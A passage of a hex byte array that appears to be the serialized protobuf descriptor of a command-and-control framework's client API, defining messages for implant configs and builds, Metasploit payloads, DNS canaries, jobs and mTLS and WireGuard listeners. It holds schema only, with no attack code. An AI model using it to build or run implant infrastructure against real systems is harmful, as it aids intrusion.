0x44, 0x22, - 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, - 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, - 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, - 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, - 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, - 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, - 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, - 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, - 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, - 0x74, 0x73, 0x22, 0x66, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x0a, 0x09, - 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x22, 0x79, 0x0a, 0x15, 0x45, 0x78, - 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, - 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, - 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, - 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa4, 0x01, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x6c, 0x0a, 0x0e, - 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, - 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, - 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, - 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, - 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, - 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, - 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, - 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, - 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, - 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, - 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, - 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, - 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, - 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, - 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, - 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, - 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x18, 0x0a, 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, - 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, - 0x72, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, - 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, - 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, - 0x65, 0x52, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, - 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, - 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, - 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, - 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, - 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, - 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, - 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, - 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, - 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, - 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, - 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x50, 0x22, 0x55, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, - 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, - 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, - 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, - 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, - 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, - 0x22, 0x59, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, - 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, - 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, - 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, - 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 